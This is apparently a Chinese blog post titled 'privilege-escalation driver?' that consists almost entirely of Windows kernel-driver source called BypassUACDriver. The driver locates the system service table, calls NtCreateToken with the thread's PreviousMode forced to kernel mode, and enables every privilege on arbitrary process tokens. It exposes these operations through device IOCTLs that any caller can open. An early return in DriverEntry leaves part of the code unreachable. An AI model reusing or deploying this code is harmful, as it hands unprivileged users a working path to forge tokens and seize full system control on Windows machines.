提权驱动?

#define BYPASS_UAC_DEVICE_NAME      L"\\Device\\BypassUACDriver"
#define BYPASS_UAC_DEVICE_SYMBOLIC  L"\\DosDevices\\BypassUACDriver"
#define BYPASS_UAC_SERVICE_NAME     L"BypassUACDriver"
#define BYPASS_UAC_DRIVER_NAME      L"BypassUACDriver.sys"


#define FUNCTION_FROM_CTL_CODE(ctrlCode)     (((ULONG)(ctrlCode) & 0x00003FFC) >> 2)

#define BH_IOCTL_CODE(Function, Method)   ((ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, Function, Method, FILE_ANY_ACCESS) | (1 << 31))
#define BH_IOCTL_METHOD (METHOD_OUT_DIRECT)

#define IOCTL_HANDLER(_func) NTSTATUS _func(PAAKDI Info, PDEVICE_OBJECT DeviceObject, PIRP Irp,PULONG_PTR BytesWritten)
#define CALL_IOCTL_HANDLER(_func) Status = (_func)(Info, DeviceObject, Irp, &BytesWritten)
#define HANDLE_IOCTL(_ioctl, _func) case (_ioctl): CALL_IOCTL_HANDLER((_func)); break

#define IOCTL_OPEN_PROCESS_TOKEN        BH_IOCTL_CODE(BhOpenProcessToken,       BH_IOCTL_METHOD)
#define IOCTL_CREATE_TOKEN              BH_IOCTL_CODE(BhCreateToken,            BH_IOCTL_METHOD)
#define IOCTL_ADJUST_PRIVILEGE          BH_IOCTL_CODE(BhAdjustPrivilege,        BH_IOCTL_METHOD)

enum
{
    BhFunctionFirst         = 0x800,
        
    BhOpenProcessToken,
    BhCreateToken,
    BhAdjustPrivilege,

    BhFcunctionLast,
};

#pragma pack(push, 8)

typedef struct
{
    HANDLE64    Process;
    ACCESS_MASK Access;
    PVOID64     Token;

} BH_OPEN_PROCESS_TOKEN, *PBH_OPEN_PROCESS_TOKEN;

typedef struct
{
    PHANDLE                 TokenHandle;
    ACCESS_MASK             DesiredAccess;
    POBJECT_ATTRIBUTES      ObjectAttributes;
    TOKEN_TYPE              TokenType;
    PLUID                   AuthenticationId;
    PLARGE_INTEGER          ExpirationTime;
    PTOKEN_USER             User;
    PTOKEN_GROUPS           Groups;
    PTOKEN_PRIVILEGES       Privileges;
    PTOKEN_OWNER            Owner;
    PTOKEN_PRIMARY_GROUP    PrimaryGroup;
    PTOKEN_DEFAULT_DACL     DefaultDacl;
    PTOKEN_SOURCE           TokenSource;

} BH_CREATE_TOKEN, *PBH_CREATE_TOKEN;

typedef struct 
{
    HANDLE64 Process;

} BH_ADJUST_PRIVILEG, *PBH_ADJUST_PRIVILEG;

#pragma pack(pop)
#pragma comment(linker, "/ENTRY:DriverEntry")

#define ML_DEBUG_KERNEL 1

#include "MyLibrary.cpp"
#include "DriverHelper.h"

TYPE_OF(NtCreateToken)  *KiCreateToken;

ULONG_PTR PreviousModeOffset;

NTSTATUS CreateToken(PBH_CREATE_TOKEN Create)
{
    NTSTATUS            Status;
    KPROCESSOR_MODE     PreviousMode;
    PETHREAD            Thread;
    OBJECT_ATTRIBUTES   oa;
    UNICODE_STRING      ObjectName;

    Thread = KeGetCurrentThread();
    PreviousMode = ExGetPreviousMode();

    *(KPROCESSOR_MODE *)PtrAdd(Thread, PreviousModeOffset) = KernelMode;

    oa.Length                   = Create->ObjectAttributes->Length;
    oa.RootDirectory            = (HANDLE)Create->ObjectAttributes->RootDirectory;
    oa.ObjectName               = NULL;
    oa.Attributes               = Create->ObjectAttributes->Attributes;
    oa.SecurityDescriptor       = (PVOID)Create->ObjectAttributes->SecurityDescriptor;
    oa.SecurityQualityOfService = (PVOID)Create->ObjectAttributes->SecurityQualityOfService;

    Status = KiCreateToken(
                (PHANDLE)Create->TokenHandle,
                Create->DesiredAccess,
                &oa,
                (TOKEN_TYPE)Create->TokenType,
                (PLUID)Create->AuthenticationId,
                Create->ExpirationTime,
                (PTOKEN_USER)Create->User,
                (PTOKEN_GROUPS)Create->Groups,
                (PTOKEN_PRIVILEGES)Create->Privileges,
                (PTOKEN_OWNER)Create->Owner,
                (PTOKEN_PRIMARY_GROUP)Create->PrimaryGroup,
                (PTOKEN_DEFAULT_DACL)Create->DefaultDacl,
                (PTOKEN_SOURCE)Create->TokenSource
            );

    *(KPROCESSOR_MODE *)PtrAdd(Thread, PreviousModeOffset) = PreviousMode;

    return Status;
}

NTSTATUS AdjustAllPrivilege(PBH_ADJUST_PRIVILEG AdjustPrivilege)
{
    NTSTATUS                Status;
    HANDLE                  Token;
    ULONG                   ReturnLength;
    ULONG_PTR               PrivilegeCount, BufferLength, SePrivilege;
    PTOKEN_PRIVILEGES       Privileges, PreviousState;
    PLUID_AND_ATTRIBUTES    Luid;

    DEBUG_BREAK_POINT();

    Status = ZwOpenProcessToken(AdjustPrivilege->Process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &Token);
    FAIL_RETURN(Status);

    PrivilegeCount = SE_MAX_WELL_KNOWN_PRIVILEGE - SE_MIN_WELL_KNOWN_PRIVILEGE + 1;
    BufferLength = sizeof(Privileges->PrivilegeCount) + sizeof(Privileges->Privileges[0]) * PrivilegeCount;
    Privileges = (PTOKEN_PRIVILEGES)AllocStack(BufferLength);
    PreviousState = (PTOKEN_PRIVILEGES)AllocStack(BufferLength);

    Privileges->PrivilegeCount = PrivilegeCount;

    SePrivilege = SE_MIN_WELL_KNOWN_PRIVILEGE;
    FOR_EACH(Luid, Privileges->Privileges, PrivilegeCount)
    {
        Luid->Luid.LowPart = SePrivilege++;
        Luid->Luid.HighPart = 0;
        Luid->Attributes = SE_PRIVILEGE_ENABLED;
    }

    Status = ZwAdjustPrivilegesToken(Token, FALSE, Privileges, BufferLength, PreviousState, &ReturnLength);
    ZwClose(Token);

    return Status;
}

NTSTATUS
NTAPI
BhDispatchDeviceControl(
    PDEVICE_OBJECT  DeviceObject,
    PIRP            Irp
)
{
    NTSTATUS            Status;
    ULONG_PTR           ParamSize;
    PIO_STACK_LOCATION  IoStack;

    union
    {
        PBH_OPEN_PROCESS_TOKEN  OpenToken;
        PBH_CREATE_TOKEN        CreateToken;
        PBH_ADJUST_PRIVILEG     AdjustPrivilege;
        PVOID Input;
    };

    IoStack = IoGetCurrentIrpStackLocation(Irp);
    Status  = STATUS_INVALID_DEVICE_REQUEST;

    Input = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority);
    ParamSize = IoStack->Parameters.DeviceIoControl.OutputBufferLength;

    switch (FUNCTION_FROM_CTL_CODE(IoStack->Parameters.DeviceIoControl.IoControlCode))
    {
        case BhAdjustPrivilege:
            Status = AdjustAllPrivilege(AdjustPrivilege);
            break;

        case BhOpenProcessToken:
            if (ParamSize != sizeof(*OpenToken))
            {
                Status = STATUS_INVALID_BUFFER_SIZE;
                break;
            }

            Status = ZwOpenProcessToken(OpenToken->Process, OpenToken->Access, (PHANDLE)OpenToken->Token);
            break;

        case BhCreateToken:
            if (ParamSize != sizeof(*CreateToken))
            {
                Status = STATUS_INVALID_BUFFER_SIZE;
                break;
            }

            Status = ::CreateToken(CreateToken);
            break;
    }

    Irp->IoStatus.Status      = Status;
    Irp->IoStatus.Information = 0;

    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

NTSTATUS
NTAPI
BhDispatchCreateClose(
    PDEVICE_OBJECT  DeviceObject,
    PIRP            Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Status        = Status;
    Irp->IoStatus.Information   = 0;

    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

ULONG_PTR KiGetPreviousModeOffset()
{
    PBYTE Buffer;
    LONG_PTR Length;

    Buffer = (PBYTE)ExGetPreviousMode;

    for (LONG_PTR MaxSize = 0x10; MaxSize > 0; )
    {
        Length = GetOpCodeSize(Buffer);
        switch (Buffer[0])
        {
            case 0x8A:
                if (Length != 6)
                    break;

                return *(PULONG)(Buffer + 2);

            // 0fb680 32020000  movzx   eax,byte ptr [rax+232h]
            case 0x0F:
                if (Length != 7)
                    break;

                if (Buffer[1] != 0xB6 || Buffer[2] != 0x80)
                    break;

                return *(PULONG)(Buffer + 3);
        }

        Buffer += Length;
        MaxSize -= Length;
    }

    return 0;
}

ULONG_PTR KiGetServiceIndexByRoutine(PVOID Routine)
{
    PBYTE       Buffer;
    LONG_PTR    Length;
    ULONG_PTR   ServiceIndex;

    ServiceIndex = ~0u;

    Buffer = (PBYTE)Routine;
    for (LONG_PTR MaxSize = 0x20; MaxSize > 0; )
    {
        Length = GetOpCodeSize(Buffer);
        switch (Buffer[0])
        {
            case 0xB8:
                if (Length != 5)
                    break;

                ServiceIndex = *(PULONG)(Buffer + 1);
                return ServiceIndex;
        }

        Buffer += Length;
        MaxSize -= Length;
    }

    return ~0u;
}

PVOID KiFindKiServiceTable(PLDR_MODULE nt)
{
    PVOID       KiServiceTable;
    ULONG_PTR   ProbeIndex;
    LDR_MODULE  newnt;
    PKSERVICE_TABLE_DESCRIPTOR SSDT;

    ProbeIndex = KiGetServiceIndexByRoutine(ZwSetEvent);
    if (ProbeIndex == -1)
        return NULL;

    newnt = *nt;

#if ML_AMD64

    PVOID reloadnt;
    NTSTATUS Status;

    Status = ReLoadDll(nt->FullDllName.Buffer, &reloadnt, nt->DllBase, RELOAD_DLL_IGNORE_IAT | RELOAD_DLL_NOT_RESOLVE_PATH);
    if (NT_FAILED(Status))
        return NULL;

    newnt.DllBase = reloadnt;

#endif

    auto RelocateCheck = [] (PRELOCATE_ADDRESS_INFO Address, PVOID PointerToAddress) -> BOOL
    {
        if (*(PVOID *)Address->Context == NULL)
            *(PVOID *)Address->Context = (PVOID *)PointerToAddress;

        return FALSE;
    };

    RELOCATE_ADDRESS_INFO Address[] =
    {
        { NtSetEvent, NULL, RelocateCheck, &KiServiceTable },
    };

    KiServiceTable = NULL;
    RelocateAddress(&newnt, Address, countof(Address));

    if (KiServiceTable != NULL)
        KiServiceTable = (PVOID *)KiServiceTable - ProbeIndex;

#if ML_AMD64

    if (KiServiceTable != NULL)
        KiServiceTable = PtrAdd(KiServiceTable, PtrOffset(nt->DllBase, newnt.DllBase));

    UnLoadDll(reloadnt);

#endif

    return KiServiceTable;
}

PVOID GetSerivceRoutine(PVOID KiServiceTable, ULONG_PTR ServiceIndex)
{
#if ML_X86
    return ((PVOID *)KiServiceTable)[ServiceIndex];

#elif ML_AMD64
    return PtrAdd(KiServiceTable, ((PLONG)KiServiceTable)[ServiceIndex] >> 4);
#else
#error

#endif

}

PVOID GetNtCreateToken(PLDR_MODULE nt)
{
    ULONG_PTR   NtCreateTokenIndex;
    PVOID      *KiServiceTable, ntdll;
    PBYTE       ZwCreateToken;
    NTSTATUS    Status;

    KiServiceTable = (PVOID *)KiFindKiServiceTable(nt);
    if (KiServiceTable == NULL)
        return NULL;

    NtCreateTokenIndex = ~0u;

    Status = ReLoadDll(L"\\SystemRoot\\System32\\ntdll.dll", (PVOID *)&ntdll, NULL, RELOAD_DLL_IGNORE_IAT | RELOAD_DLL_NOT_RESOLVE_PATH);
    if (!NT_SUCCESS(Status))
        return NULL;

    ZwCreateToken = (PBYTE)EATLookupRoutineByHashPNoFix(ntdll, NTDLL_NtCreateToken);
    if (ZwCreateToken != NULL)
        NtCreateTokenIndex = KiGetServiceIndexByRoutine(ZwCreateToken);

    UnLoadDll(ntdll);

    if (NtCreateTokenIndex == -1)
        return NULL;

    return GetSerivceRoutine(KiServiceTable, NtCreateTokenIndex);
}

VOID NTAPI DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING SymbolicName;

    RTL_CONST_STRING(SymbolicName, BYPASS_UAC_DEVICE_SYMBOLIC);
    IoDeleteDevice(DriverObject->DeviceObject);
    IoDeleteSymbolicLink(&SymbolicName);
}

NTSTATUS NTAPI DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    NTSTATUS            Status;
    UNICODE_STRING      DeviceName, SymbolicName;
    OBJECT_ATTRIBUTES   ObjectAttributes;
    PDEVICE_OBJECT      DeviceObject;

    DEBUG_BREAK_POINT();

    PLDR_MODULE nt;

    nt = LookupPsLoadedModuleList((PLDR_MODULE)DriverObject->DriverSection, _ReturnAddress());
    PVOID KiServiceTable;

    KiServiceTable = KiFindKiServiceTable(nt);

    KDPC Dpc;
    KTIMER Timer;
    PKTIMER NextTimer;
    LARGE_INTEGER DueTime;

    FormatTimeOut(&DueTime, 1000);

    KeInitializeDpc(&Dpc,
        [] (PKDPC Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2)
        {
            return;
        },
        0
    );

    KeInitializeTimerEx(&Timer, SynchronizationTimer);
    if (!KeSetTimerEx(&Timer, DueTime, 1000, &Dpc))
        return 0;

    NextTimer = &Timer;
    do
    {
        DbgPrint("Dpc = %p, DueTime = %I64d\n", NextTimer->Dpc, NextTimer->DueTime.QuadPart);
        NextTimer = FIELD_BASE(NextTimer->TimerListEntry.Flink, KTIMER, TimerListEntry);

    } while (NextTimer != &Timer);

    KeCancelTimer(&Timer);

    return 0;

    PreviousModeOffset = KiGetPreviousModeOffset();
    if (PreviousModeOffset == 0)
        return STATUS_UNSUCCESSFUL;

    *(PVOID *)&KiCreateToken = GetNtCreateToken(LookupPsLoadedModuleList((PLDR_MODULE)DriverObject->DriverSection, _ReturnAddress())->NextLoadOrder());
    if (KiCreateToken == 0)
        return STATUS_UNSUCCESSFUL;

    DriverObject->DriverUnload = DriverUnload;

    RTL_CONST_STRING(DeviceName, BYPASS_UAC_DEVICE_NAME);

    Status = IoCreateDevice(
                DriverObject,
                0,
                &DeviceName,
                FILE_DEVICE_UNKNOWN,
                0,
                FALSE,
                &DeviceObject
             );
    FAIL_RETURN(Status);

    RTL_CONST_STRING(SymbolicName, BYPASS_UAC_DEVICE_SYMBOLIC);
    Status = IoCreateSymbolicLink(&SymbolicName, &DeviceName);
    if (!NT_SUCCESS(Status))
    {
        IoDeleteDevice(DeviceObject);
        return Status;
    }

    DriverObject->MajorFunction[IRP_MJ_CREATE]                  = BhDispatchCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]                   = BhDispatchCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]          = BhDispatchDeviceControl;

    return STATUS_SUCCESS;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值